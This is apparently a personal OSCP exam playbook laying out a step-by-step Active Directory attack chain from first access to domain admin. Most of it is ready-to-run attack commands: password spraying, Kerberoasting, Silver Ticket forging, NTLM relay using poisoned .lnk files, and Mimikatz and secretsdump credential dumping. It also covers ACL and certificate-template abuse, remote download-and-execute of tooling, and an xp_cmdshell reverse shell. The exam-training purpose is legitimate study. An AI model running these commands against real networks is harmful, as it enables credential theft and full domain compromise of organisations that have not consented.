Active Directory Playbook

Single linear attack flow for OSCP AD set. Follow phases in order. One method per task.


Huge advice from OSCP mentors:

If a password contains " ! " :   it is necessary to escape it with \ =  " \! "
Even using ' ' will cause issues with command executions and will not read the ! 

Always use "\!" when there is ! in passwords

example:

nxc smb 10.10.10.10 -u offsec -p "Password1\!"
==nxc smb 10.10.10.10 -u offsec -p 'Password1!'  will not work properly==

STUCK Quick-Reference

SituationDo This
Have creds, no shellSpray SMB + WinRM + RDP on ALL machines
Have shell, no pathRead EVERY SMB share, grep transcripts, dump creds, re-enum AS new user
Stuck 30+ minUpdate cred table. Move to different box. Come back.
Cant reach internalLigolo-NG pivot from compromised host
Hash wont crackPtH directly. Or shadow creds / ForceChangePassword
Kerberos failssudo ntpdate DC_IP first. Use IP not hostname.

EXAM DAY FLOW

  1. Setup - /etc/hosts, ntpdate, terminal logging
  2. Scan - nmap all machines, build network map
  3. Enum from Kali - ldapsearch, nxc smb/ldap, shares
  4. Get shell - sprayed creds -> evil-winrm / psexec
  5. Enum from box - PowerView, files, transcripts, history
  6. Dump creds - secretsdump, mimikatz, LSASS
  7. Spray new creds - every cred against every machine
  8. Find the path - ACL abuse / ADCS / delegation
  9. DA - DCSync or PtH to DC

Every 30 min: update cred table. Anything new to spray? Any machine not touched?


CREDENTIAL TABLE (track everything)

#UsernamePassword/HashSourceSprayed? Admin?

Spray any new cred:

echo -e 'user1\nuser2' > users.txt
echo -e 'Pass1\nPass2' > passes.txt
nxc smb IP1 IP2 IP3 -u users.txt -p passes.txt --continue-on-success | grep -v FAILURE
nxc winrm IP1 IP2 IP3 -u users.txt -p passes.txt --continue-on-success | grep -v FAILURE
nxc rdp IP1 IP2 IP3 -u users.txt -p passes.txt --continue-on-success | grep -v FAILURE
# With hash:
nxc smb IPs -u USER -H 'HASH' --continue-on-success

Situational wordlist generation

# Pattern: Season + Year
# Useful when hints point to password rotation, seasonal passwords, company policy, or recent years.
for year in {2022..2026}; do
  for season in Spring Summer Fall Winter; do
    echo "${season}${year}"
  done
done > seasons_years.txt

For symbols:

for year in {2022..2026}; do
  for season in Spring Summer Fall Winter; do
    for symbol in '' '!' '@' '#'; do
      echo "${season}${year}${symbol}"
    done
  done
done > seasons_years_symbols.txt

PHASE 0 - SETUP (first 5 min)

# Build /etc/hosts from IP list
echo -e 'DC_IP\nMS01_IP\nMS02_IP' > ips.txt
nxc smb ips.txt --generate-hosts-file /tmp/hosts
sudo tee -a /etc/hosts < /tmp/hosts

#make sure we have the DC in our /etc/resolv.conf
nameserver 10.10.10.10      # Add DC ip to /etc/resolv.conf

# Time sync (Kerberos needs this)
sudo ntpdate -u DC_IP

# Start logging
script -a exam_ad_log.txt

PHASE 1 - ENUM FROM KALI

1a. Anonymous LDAP

ldapsearch -x -H ldap://DC_IP -b 'DC=domain,DC=com' | head -50

1b. With first creds

ldapdomaindump -u 'DOMAIN\\USER' -p 'PASS' DC_IP -o ldap-dump/
nxc smb $ip -u '' -p '' --users
# for saving usernames in a file.
nxc smb $ip -u '' -p '' --users | tee nxc_users_raw.txt | awk '$1=="SMB" && $5 !~ /^\[|\-Username\-/ {print $5}' | sort -u > users.txt      # CHECK descriptions for passwords
nxc smb DC_IP -u USER -p 'PASS' --groups
nxc smb DC_IP -u USER -p 'PASS' --shares
nxc smb DC_IP -u USER -p 'PASS' --pass-pol   # CHECK before spraying
nxc smb DC_IP -u USER -p 'PASS' -M spider_plus

nxc ldap DC_IP -u USER -p 'PASS' -M laps
nxc ldap DC_IP -u USER -p 'PASS' -M adcs
nxc ldap DC_IP -u USER -p 'PASS' --trusted-for-delegation
# Auto-generate /etc/hosts from AD
nxc smb ips.txt -u USER -p 'PASS' -d DOMAIN --generate-hosts-file /tmp/hosts

BloodHound — run FIRST after first creds

From Kali:

bloodhound-python -u 'USER' -p 'PASS' -ns DC_IP -d DOMAIN -c All
# Output: 6 JSON files (users, groups, computers, domains, gpos, ous) in cwd

# ADCS data — bloodhound-python -c All does NOT include it. Run separately:
certipy-ad find -u USER@DOMAIN -p 'PASS' -dc-ip DC_IP -vulnerable -stdout
# Output: 1 zip file

# Upload to BloodHound CE: drag ALL 6 JSON + 1 zip into File Ingest tab
# Then mark owned users -> Shortest Paths from Owned Principals (shows ACL + ADCS edges)

From Windows (SharpHound — when Kali cannot reach DC):

certutil -urlcache -f http://KALI/SharpHound.exe C:\Windows\Temp\SharpHound.exe
C:\Windows\Temp\SharpHound.exe --CollectionMethods All --OutputDirectory C:\Windows\Temp\

# OR in-memory (no disk artifact):
IEX(New-Object Net.WebClient).DownloadString('http://KALI/SharpHound.ps1')
Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\Windows\Temp\

# Transfer back: evil-winrm download, or base64 encode

BloodHound queries (run in this order):

  1. Mark your user as Owned
  2. Shortest Paths from Owned Principals <- YOUR ATTACK PATH
  3. Shortest Paths to Domain Admins
  4. Find All Kerberoastable Users
  5. Find AS-REP Roastable Users
  6. Find Workstations where Domain Users can RDP
  7. Find Computers where Domain Users are Local Admin
  8. Find Principals with DCSync Rights

Custom Cypher (paste in Raw Query):

MATCH p = (c:Computer)-[:HasSession]->(m:User) RETURN p
MATCH (u:User) WHERE u.hasspn=true RETURN u
MATCH p=()-[:DCSync|GetChanges|GetChangesAll]->(:Domain) RETURN p
MATCH (m:Computer) RETURN m

BloodHound edge cheat sheet:

EdgeMeaningExploit
MemberOfUser in this groupInherits group perms
AdminToLocal admin on this boxpsexec/wmiexec/evil-winrm
HasSessionUser logged in on this boxCompromise box -> dump their creds
CanRDPCan RDP to this boxRDP + look for cached creds
GenericAllFull controlReset password, add to group, set SPN, shadow creds
GenericWriteCan modify attributesSet SPN -> Kerberoast, or shadow creds
WriteOwnerCan change ownerTake ownership -> GenericAll -> exploit
WriteDaclCan modify permissionsGrant yourself GenericAll -> exploit
ForceChangePasswordCan reset passwordReset -> login as them
AddMemberCan add to groupAdd yourself
DCSyncCan dump all hashessecretsdump -> game over

1c. SMB shares - list first, download second

# List recursively WITHOUT downloading
smbclient //IP/SHARE -U 'DOMAIN/USER%PASS' -c 'recurse ON; ls'

# Priority files: PowerShell_transcript.*.txt, *.ps1, *.kdbx, *.config, *.xml, *.log

# Targeted download
smbclient //IP/SHARE -U 'DOM/USER%PASS' -c 'recurse ON; prompt OFF; mask *.ps1; mget *; mask *.txt; mget *; mask *.config; mget *'

# Grep everything
grep -riE 'password|credential|secret|ConvertTo-SecureString|PSCredential' .

# Content search without download
smbmap -H IP -u USER -p 'PASS' -d DOMAIN -R SHARE -A 'password|secure|credential|transcript|PSCredential'

1d. SYSVOL (GPP cpassword)

smbclient //DC_IP/SYSVOL -U 'DOMAIN/USER%PASS' -c 'recurse;prompt;mget *'
grep -ri cpassword .
gpp-decrypt 'CPASSWORD_VALUE'

# Or:
nxc smb DC_IP -u USER -p 'PASS' -M gpp_password

1e. ADCS + Delegation

certipy-ad find -u USER@DOMAIN -p 'PASS' -dc-ip DC_IP -vulnerable -stdout
impacket-findDelegation 'DOMAIN/USER:PASS' -dc-ip DC_IP
---

PHASE 2 - CREDENTIAL ATTACKS

AS-REP Roasting

# Without creds (need username list)
impacket-GetNPUsers DOMAIN/ -dc-ip DC_IP -usersfile users.txt -format hashcat -outputfile asrep.txt

# With creds
impacket-GetNPUsers 'DOMAIN/USER:PASS' -dc-ip DC_IP -request -outputfile asrep.txt

# Crack
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt

Kerberoasting

impacket-GetUserSPNs 'DOMAIN/USER:PASS' -dc-ip DC_IP -request -outputfile kerb.txt
hashcat -m 13100 kerb.txt /usr/share/wordlists/rockyou.txt

Silver Ticket — Process + Variants

When to try: Kerberoast cracked + service account password/hash known + normal login fails or gives no useful access.

Main rule: Use FQDN in Kerberos identity. Use IP or tunnel only in -target-ip.


Required info

Domain: Domain SID: Service account password or NTLM hash: Target FQDN: Target IP / tunnel endpoint: SPN: User to impersonate: Optional group RID:

Get Domain SID

From whoami /all or whoami /user:

Remove the last RID.

From Kali:

lookupsid.py DOMAIN/USER:'PASS'@DC_IP

Or from RID brute output:


Password to NTLM

pypykatz crypto nt 'PASSWORD'

Example:

pypykatz crypto nt 'Summer2024!'

MSSQL Silver Ticket — basic

impacket-ticketer -nthash HASH -domain-sid DOMAIN_SID -domain DOMAIN -spn MSSQLSvc/FQDN:1433 -user-id 500 Administrator

Example:

Load ticket:

export KRB5CCNAME=$PWD/Administrator.ccache && klist

Expected klist:


MSSQL connect — direct route

proxychains impacket-mssqlclient -k -no-pass DOMAIN/Administrator@FQDN -target-ip TARGET_IP -port 1433

MSSQL connect — local tunnel

Use this when the service is forwarded locally:

Kali 127.0.0.1:1433 -> internal target:1433

Command:

proxychains impacket-mssqlclient -k -no-pass DOMAIN/Administrator@FQDN -target-ip 127.0.0.1 -port 1433

MSSQL verify

SELECT SYSTEM_USER;
SELECT USER_NAME();
SELECT IS_SRVROLEMEMBER('sysadmin');

If sysadmin:

enable_xp_cmdshell EXEC xp_cmdshell 'whoami';
EXEC xp_cmdshell 'hostname';

Reverse shell:

EXEC xp_cmdshell 'powershell -exec bypass -enc BASE64_PAYLOAD';

Important syntax:

Wrong: xp_cmdshell 'whoami' Right: EXEC xp_cmdshell 'whoami';

MSSQL Silver Ticket — with custom group RID

Use when basic ticket connects as guest/no rights or when a suspicious group exists.

Examples of suspicious groups:

Administrators, SQL Admins, MSSQL Admins, IT Database Admins, Server Operators, Account Operators

Forge with group RID:

impacket-ticketer -nthash HASH -domain-sid DOMAIN_SID -domain DOMAIN -spn MSSQLSvc/FQDN:1433 -user-id 500 -groups RID Administrator

Example:

Load again:

export KRB5CCNAME=$PWD/Administrator.ccache && klist

Reconnect:


CIFS Silver Ticket variant

Use if the SPN/service is SMB/CIFS instead of MSSQL.

Forge:

impacket-ticketer -nthash HASH -domain-sid DOMAIN_SID -domain DOMAIN -spn cifs/FQDN -user-id 500 Administrator

Load:

export KRB5CCNAME=$PWD/Administrator.ccache && klist

Use:

proxychains smbclient -k //FQDN/C$

Or:

proxychains impacket-psexec -k -no-pass DOMAIN/Administrator@FQDN -target-ip TARGET_IP

If using local tunnel, keep FQDN in Kerberos identity and IP/tunnel in tool options when supported.


HOST / WSMAN variant

Use only if the service path needs HOST or WinRM/WSMAN.

Forge HOST:

impacket-ticketer -nthash HASH -domain-sid DOMAIN_SID -domain DOMAIN -spn HOST/FQDN -user-id 500 Administrator

Forge WSMAN:

impacket-ticketer -nthash HASH -domain-sid DOMAIN_SID -domain DOMAIN -spn WSMAN/FQDN -user-id 500 Administrator

Load:

export KRB5CCNAME=$PWD/Administrator.ccache && klist

Common fixes

Use MSSQLSvc/FQDN:1433, not MSSQL/FQDN. Use DOMAIN/User@FQDN for Kerberos identity. Use IP or 127.0.0.1 only in -target-ip. If mssqlclient tries DOMAIN:88, ticket SPN probably does not match. If direct target IP fails but tunnel works, use -target-ip 127.0.0.1. If connected but guest/no rights, retry with -groups RID. If Kerberos fails, run ntpdate DC_IP and check /etc/hosts. If klist shows wrong SPN, delete ccache and forge again.

Decision flow

Kerberoast cracked service account
  ↓ Normal login fails or no shell
  ↓ Convert password to NTLM
  ↓ Get Domain SID
  ↓ Forge Silver Ticket for exact SPN
  ↓ Load ccache
  ↓ Connect using FQDN identity
  ↓ Use reachable IP/tunnel in -target-ip
  ↓ Check privileges
  ↓ If guest/no rights, retry with custom group RID

Critical rule

If I crack a service account and normal login fails, do not discard it.  Treat the password/hash as a Kerberos service key. Forge a Silver Ticket for the exact SPN.

Password Spraying

# CHECK lockout first
nxc smb DC_IP -u USER -p 'PASS' --pass-pol

# Spray
kerbrute passwordspray --dc DC_IP -d DOMAIN users.txt 'CompanyName2024!'
nxc smb DC_IP -u users.txt -p 'Password1' --continue-on-success --no-bruteforce

Responder (LLMNR/NBT-NS)

sudo responder -I tun0 -v
# Force auth via MSSQL: EXEC xp_dirtree '\\\\KALI\\share'
# Crack: hashcat -m 5600 (cannot PtH, must crack)

NTLM Relay

Allowed: ntlmrelayx + Responder as listener + file-based coercion Restricted: LLMNR/NBT-NS/mDNS poisoning (Responder default mode) Use Responder ONLY with poisoning disabled in Responder.conf

# 1. Find writable share where users browse
smbclient //TARGET/SHARE -U 'DOMAIN\USER'

# 2. Generate poisoned .lnk with ntlm_theft
git clone https://github.com/Greenwolf/ntlm_theft
python3 ntlm_theft.py -g lnk -s KALI_IP -f loot
smbclient //TARGET/SHARE -U 'DOMAIN\USER' -c 'put loot.lnk'

# 3. Find relay targets (SMB signing disabled)
nxc smb SUBNET/24 --gen-relay-list relay_targets.txt

# 4. Start relay listener (socks proxy for reuse)
sudo impacket-ntlmrelayx -tf relay_targets.txt -smb2support -socks

# 5. Wait for victim to browse the folder in Explorer
# Inside ntlmrelayx console: 'socks' shows active sessions

# 6. Use relayed session via proxychains
# /etc/proxychains.conf last line: socks4 127.0.0.1 1080
proxychains -q impacket-secretsdump DOMAIN/USER@TARGET -no-pass
proxychains -q nxc smb TARGET -u USER -p '' --sam

Other coercion methods (all allowed - no poisoning):

# MSSQL (as any user with connect perms, even non-sysadmin):
EXEC master..xp_dirtree '\\KALI_IP\x'
EXEC master..xp_fileexist '\\KALI_IP\x'

# Writable share - drop any of these:
#   .lnk, .url, .scf, desktop.ini pointing to \\KALI_IP\x

PHASE 3 - GET A SHELL

# WinRM (5985) - cleanest
evil-winrm -i IP -u USER -p 'PASS'
evil-winrm -i IP -u USER -H 'NT_HASH'

# PsExec (445, SYSTEM shell, noisy)
impacket-psexec 'DOMAIN/USER:PASS'@IP
impacket-psexec 'DOMAIN/USER'@IP -hashes :NTHASH

# WmiExec (135, stealthier)
impacket-wmiexec 'DOMAIN/USER:PASS'@IP
impacket-wmiexec 'DOMAIN/USER'@IP -hashes :NTHASH

# DCOM (MMC20.Application — from compromised Windows box, when WmiExec/PsExec blocked)
# Requires local admin on TARGET. Runs in current session, no service created.
\$com = [activator]::CreateInstance([type]::GetTypeFromProgID('MMC20.Application','TARGET'))
\$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',\$null,'/c CMD_HERE','7')

# RDP
xfreerdp /u:USER /p:'PASS' /d:DOMAIN /v:IP /cert:ignore +clipboard

Group -> tool mapping

GroupTool
Remote Management Usersevil-winrm
Remote Desktop Usersxfreerdp
Local Administratorspsexec / wmiexec / evil-winrm
Domain Users onlySSH if present, check what they CAN access

PHASE 4 - ENUM FROM COMPROMISED WINDOWS BOX

First commands every box

whoami /all
hostname
ipconfig /all
netstat -ano | findstr LISTENING
net user /domain
net group "Domain Admins" /domain
net localgroup Administrators

net.exe / dsquery (built-in, no upload)

net user /domain
net user USERNAME /domain
net group /domain
net group "Domain Admins" /domain
net group "Domain Controllers" /domain
net accounts /domain

dsquery user -name "*"
dsquery group -name "*"
dsquery computer

PowerView (upload PowerView.ps1 first)

Import-Module .\PowerView.ps1

# Domain info
Get-Domain
Get-DomainPolicy
Get-DomainController

# Users
Get-DomainUser | select samaccountname,description
Get-DomainUser -SPN                     # Kerberoastable
Get-DomainUser -PreauthNotRequired      # AS-REP Roastable

# Groups
Get-DomainGroup | select samaccountname
Get-DomainGroupMember 'Domain Admins'
Get-DomainGroupMember 'Backup Operators'

# Computers
Get-DomainComputer | select dnshostname,operatingsystem
Get-DomainComputer | Resolve-IPAddress

# Access + ACLs
Find-LocalAdminAccess
Find-InterestingDomainAcl -ResolveGUIDs
Get-NetSession -ComputerName TARGET

# Kerberoastables
Get-DomainUser -SPN | Select-Object SamAccountName, ServicePrincipalName
Convert-SidToName S-1-5-21-...-1104

Windows-side attack tools (upload to target)

# Enumerate logged-on users on another box

# Password spray from inside the domain
Spray-Passwords.ps1

# Rubeus - AS-REP Roasting
.\Rubeus.exe asreproast /outfile:asrep.txt

# Rubeus - Kerberoasting
.\Rubeus.exe kerberoast /outfile:tgs.txt

# Rubeus - Ask TGT with hash (overpass-the-hash)
.\Rubeus.exe asktgt /user:USER /rc4:NTHASH /domain:DOMAIN /outfile:ticket.kirbi
.\Rubeus.exe ptt /ticket:ticket.kirbi

# Mimikatz - dump cached credentials
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"

# Mimikatz - dump local SAM (token::elevate BEFORE lsadump::sam)
mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam" "exit"

# Mimikatz - dump LSA secrets (CRITICAL - often holds cleartext service account passwords)
# Look for: _SC_servicename entries (cleartext service passwords)
#           MACHINE.ACC (this machine computer account hash)
#           DPAPI system keys, auto-login creds, stored RDP passwords
mimikatz.exe "privilege::debug" "token::elevate" "lsadump::secrets" "exit"

# Mimikatz - DCSync from compromised box
mimikatz.exe "privilege::debug" "lsadump::dcsync /user:DOMAIN\\Administrator" "exit"

# Mimikatz - pass-the-hash (spawns new process as target user)
mimikatz.exe "privilege::debug" "sekurlsa::pth /user:USER /domain:DOMAIN /ntlm:NTHASH /run:powershell" "exit"

# Mimikatz - export tickets from memory
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" "exit"

# PowerView - targeted attacks on discovered edges
Set-DomainUserPassword -Identity TARGET -AccountPassword (ConvertTo-SecureString 'NewP@ss123!' -AsPlainText -Force)
Set-DomainObject -Identity TARGET -SET @{serviceprincipalname='fake/spn'}
Add-DomainGroupMember -Identity 'GROUP' -Members USER
Add-DomainObjectAcl -TargetIdentity 'DC=domain,DC=com' -PrincipalIdentity USER -Rights DCSync

# PowerView - Kerberoast via pipeline
Get-DomainUser -SPN | ? {$_.samaccountname -ne "krbtgt"} | Get-DomainSPNTicket | Select-Object -ExpandProperty Hash | Out-File -Encoding ASCII kerberoast.hashes

File + credential hunting

# PowerShell history
Get-ChildItem -Path C:\Users -Recurse -Filter ConsoleHost_history.txt -EA SilentlyContinue | Get-Content

# Saved creds
cmdkey /list
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"

# Config + KeePass
Get-ChildItem -Path C:\Users -Recurse -Include *.txt,*.xml,*.ini,*.config -EA SilentlyContinue | Select-String "pass" -List | Select Path
Get-ChildItem -Path C:\ -Recurse -Filter *.kdbx -EA SilentlyContinue | Select FullName

# Common dirs
ls C:\Users\Public
ls C:\Temp
ls C:\Windows\Temp
ls C:\inetpub

PHASE 5 - CREDENTIAL DUMPING (as admin)

# From Kali - SAM + LSA + DCC2
impacket-secretsdump 'DOMAIN/USER:PASS'@IP
impacket-secretsdump 'DOMAIN/USER'@IP -hashes :NTHASH

# DCSync (DC only, needs rights)
impacket-secretsdump 'DOMAIN/Administrator:PASS'@DC_IP -just-dc

# nxc shortcuts
nxc smb IP -u USER -p 'PASS' --sam      # local hashes
nxc smb IP -u USER -p 'PASS' --lsa      # LSA secrets
nxc smb DC_IP -u USER -p 'PASS' --ntds  # all domain hashes (DC only)
# From Windows - Mimikatz
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam" "exit"
mimikatz.exe "privilege::debug" "lsadump::dcsync /user:DOMAIN\Administrator" "exit"

Read ALL output: SAM hashes, DCC2 (slow), LSA secrets, SC entries (cleartext service passwords).


PHASE 6 - ACL ABUSE

Decision table

EdgeAgainst USERAgainst GROUP
WriteOwnerTake ownership -> GenericAll -> shadow credsTake ownership -> GenericAll -> add self
GenericAllShadow creds / reset password / set SPNAdd self as member
GenericWriteShadow creds / targeted Kerberoast / UPN swapModify attributes
WriteDaclGrant self GenericAll, then proceedGrant self GenericAll, add self
ForceChangePasswordReset password directlyN/A
AddMemberN/AAdd self directly

WriteOwner -> USER

bloodyAD -d DOMAIN --host DC_IP -u USER -p 'PASS' set owner TARGET USER
bloodyAD -d DOMAIN --host DC_IP -u USER -p 'PASS' add genericAll TARGET USER
certipy-ad shadow auto -u USER@DOMAIN -p 'PASS' -account TARGET -dc-ip DC_IP

WriteOwner -> GROUP

# Same 2-step: take ownership, grant yourself, then add yourself to the group
bloodyAD -d DOMAIN --host DC_IP -u USER -p 'PASS' set owner GROUPNAME USER
bloodyAD -d DOMAIN --host DC_IP -u USER -p 'PASS' add genericAll GROUPNAME USER
bloodyAD -d DOMAIN --host DC_IP -u USER -p 'PASS' add groupMember 'GROUPNAME' USER
# Re-check BloodHound — what does GROUPNAME give you? (often AdminTo / DCSync rights)

GenericAll / GenericWrite -> USER

ALWAYS verify reset: nxc smb DC_IP -u TARGET -p NEW_PASS

# 1. [OK] net rpc password (from BloodHound abuse panel)
#    Substitute EVERY placeholder - DomainController, TargetUser etc are templates
net rpc password "TARGET" "NewP@ss123!" -U "DOMAIN"/"USER"%"PASS" -S "DC_IP"

# 2. [OK] rpcclient fallback
rpcclient -U 'DOMAIN/USER%PASS' DC_IP -c 'setuserinfo2 TARGET 23 NewP@ss123!'

# 3. [WARN] bloodyAD - can report success but NOT actually commit the change
#    Only use if 1 and 2 fail. ALWAYS verify by authenticating.
bloodyAD -d DOMAIN --host DC_IP -u USER -p 'PASS' set password TARGET 'NewP@ss123!'

# 4. [ADCS only] Shadow credentials - check ADCS exists first
certipy-ad find -u USER@DOMAIN -p 'PASS' -dc-ip DC_IP -vulnerable -stdout
# If 'Found 0 certificate authorities' -> skip, no ADCS deployed
certipy-ad shadow auto -u USER@DOMAIN -p 'PASS' -account TARGET -dc-ip DC_IP

# 5. [GenericWrite or GenericAll] Targeted Kerberoast - silent (preserves user logon)
python3 targetedKerberoast.py --dc-ip DC_IP -v -d DOMAIN -u USER -p 'PASS'
# Manual PowerView fallback (from compromised Windows box, if impacket fails):
# Set-DomainObject -Identity TARGET -Set @{serviceprincipalname='nonexistent/spn'}
# Get-DomainUser TARGET | Get-DomainSPNTicket | fl
# Set-DomainObject -Identity TARGET -Clear serviceprincipalname

WriteDacl -> DCSync

dacledit.py -action write -rights DCSync -principal USER -target-dn 'DC=domain,DC=com' DOMAIN/USER:PASS -dc-ip DC_IP
impacket-secretsdump DOMAIN/USER:PASS@DC_IP -just-dc-user Administrator

ForceChangePassword

rpcclient -U 'DOMAIN/USER%PASS' DC_IP -c 'setuserinfo2 TARGET 23 NewP@ss123!'
bloodyAD -d DOMAIN --host DC_IP -u USER -p 'PASS' set password TARGET 'NewP@ss123!'

AddMember

bloodyAD -d DOMAIN --host DC_IP -u USER -p 'PASS' add groupMember 'GROUP' USER
net rpc group addmem 'GROUP' USER -U 'DOMAIN/USER%PASS' -S DC_IP

PHASE 7 - ADCS (Certificate Abuse)

certipy-ad find -u USER@DOMAIN -p 'PASS' -dc-ip DC_IP -vulnerable -stdout

ESC1 - Enrollee supplies subject

certipy-ad req -u USER@DOMAIN -p 'PASS' -ca CA-NAME -template TEMPLATE -upn Administrator@DOMAIN -target DC_IP
certipy-ad auth -pfx administrator.pfx -dc-ip DC_IP

ESC4 -> ESC1 - Modify template you control

certipy-ad template -u USER@DOMAIN -hashes HASH -template TEMPLATE -dc-ip DC_IP -target DC_IP -write-default-configuration
certipy-ad req -u USER@DOMAIN -hashes HASH -ca CA-NAME -template TEMPLATE -upn Administrator@DOMAIN -target DC_IP
certipy-ad auth -pfx administrator.pfx -dc-ip DC_IP

ESC9 - UPN swap

certipy-ad account update -u USER@DOMAIN -p 'PASS' -user TARGET -upn Administrator -dc-ip DC_IP
certipy-ad req -u TARGET@DOMAIN -hashes HASH -ca CA-NAME -template TEMPLATE -dc-ip DC_IP
certipy-ad account update -u USER@DOMAIN -p 'PASS' -user TARGET -upn TARGET@DOMAIN -dc-ip DC_IP
certipy-ad auth -pfx administrator.pfx -dc-ip DC_IP

Always sudo ntpdate -u DOMAIN before certipy. Use IP not hostname for -target.


PHASE 8 - PTH / PTT

Pass-the-Hash (NTLM - 32 hex chars)

evil-winrm -i IP -u USER -H 'NTHASH'
impacket-psexec 'DOMAIN/USER'@IP -hashes :NTHASH
impacket-wmiexec 'DOMAIN/USER'@IP -hashes :NTHASH
nxc smb IP -u USER -H 'HASH'
nxc smb IP -u USER -H 'HASH' --local-auth

PtH does NOT work with NTLMv2 (Responder) - must crack those.

Overpass-the-Hash

impacket-getTGT -dc-ip DC_IP -hashes :NTHASH DOMAIN/USER
export KRB5CCNAME=USER.ccache
impacket-psexec -k -no-pass -dc-ip DC_IP -target-ip TARGET_IP DOMAIN/[email protected]

Pass-the-Ticket

export KRB5CCNAME=ticket.ccache
impacket-psexec -k -no-pass DOMAIN/[email protected]

PHASE 9 - LAPS

nxc ldap DC_IP -u USER -p 'PASS' -M laps
# LAPS v1 (legacy, plaintext attribute)
ldapsearch -H ldap://DC_IP -D 'USER@DOMAIN' -w 'PASS' -b 'DC=domain,DC=com' '(ms-MCS-AdmPwd=*)' ms-MCS-AdmPwd
# LAPS v2 (2023+, may be JSON-wrapped: {"n":"Administrator","p":"plaintext"})
ldapsearch -H ldap://DC_IP -D 'USER@DOMAIN' -w 'PASS' -b 'DC=domain,DC=com' '(msLAPS-Password=*)' msLAPS-Password

LAPS passwords per-computer, reset regularly. Use as local admin on that box.


PHASE 10 - PIVOT (internal subnet access)

# Ligolo-NG (preferred)
sudo ip tuntap add user USERNAME mode tun ligolo
sudo ip link set ligolo up
./proxy -selfcert -laddr 0.0.0.0:11601

# On target:
agent.exe -connect KALI_IP:11601 -ignore-cert

# Ligolo console:
session
ifconfig
start

# Kali routing:
sudo ip route add $TARGET/24 dev ligolo

# Callback through tunnel:
listener_add --addr 0.0.0.0:4444 --to 127.0.0.1:4444 --tcp

PHASE 11 - DOMAIN ADMIN

# DCSync all domain hashes
impacket-secretsdump 'DOMAIN/USER:PASS'@DC_IP -just-dc
impacket-secretsdump 'DOMAIN/USER'@DC_IP -hashes :NTHASH -just-dc

# Shell on DC
evil-winrm -i DC_IP -u Administrator -H NTHASH
impacket-psexec 'DOMAIN/Administrator'@DC_IP -hashes :NTHASH

# Proof
type C:\Users\Administrator\Desktop\proof.txt

Constrained Delegation

impacket-getST -spn cifs/target.domain.com -impersonate Administrator DOMAIN/svcaccount:PASS -dc-ip DC_IP
export KRB5CCNAME=Administrator.ccache
impacket-psexec -k -no-pass DOMAIN/[email protected]

CRITICAL PATTERN - PowerShell Transcript Credential Leak

The #1 AD enum technique for exam day.

When any domain user has SMB read on a share with log/transcript/monitoring dirs, grep for ConvertTo-SecureString and PSCredential.

Signature in transcript files:

  • ConvertTo-SecureString CLEARTEXT -AsPlainText -Force
  • New-Object System.Management.Automation.PSCredential DOMAIN\Administrator

Process

  1. nxc smb IP -u USER -p PASS -d DOMAIN –shares
  2. For each readable non-default share: smbclient //IP/share -c ‘recurse ON; ls’
  3. Prioritize PowerShell_transcript.*.txt files
  4. Download targeted, grep ConvertTo-SecureString first

A low-priv user with READ on a share found a Domain Administrator cleartext password in a PowerShell transcript — grep transcripts early.

Enumeration first. Advanced attacks second.


QUICK REFERENCES

Hash types

TypeHashcatNotes
NTLM1000PtH directly
NTLMv25600Responder - MUST crack
Kerberoast13100GetUserSPNs
AS-REP18200GetNPUsers
DCC22100Cached - slow

Syntax gotchas

  • bloodyAD hashes: -p ‘:NTHASH’ (no –hashes flag)
  • certipy-ad: use IP not hostname for -target
  • evil-winrm -H: NT hash only (32 chars), NOT LM:NT
  • evil-winrm IP fails: try domain name
  • ntpdate: BEFORE every Kerberos/cert operation
  • users.txt: one per line, never comma-separated
  • C:\Temp may not exist: use C:\Windows\Temp\

Common chain patterns

  • creds -> ForceChangePassword -> GenericAll -> Kerberoast -> DCSync -> DA
  • creds -> WriteOwner group -> shadow creds -> GenericAll -> ESC9 -> DA
  • SYSVOL -> GPP cpassword -> gpp-decrypt -> Kerberoast -> DA
  • AS-REP Roast -> crack -> WriteDacl -> DCSync -> DA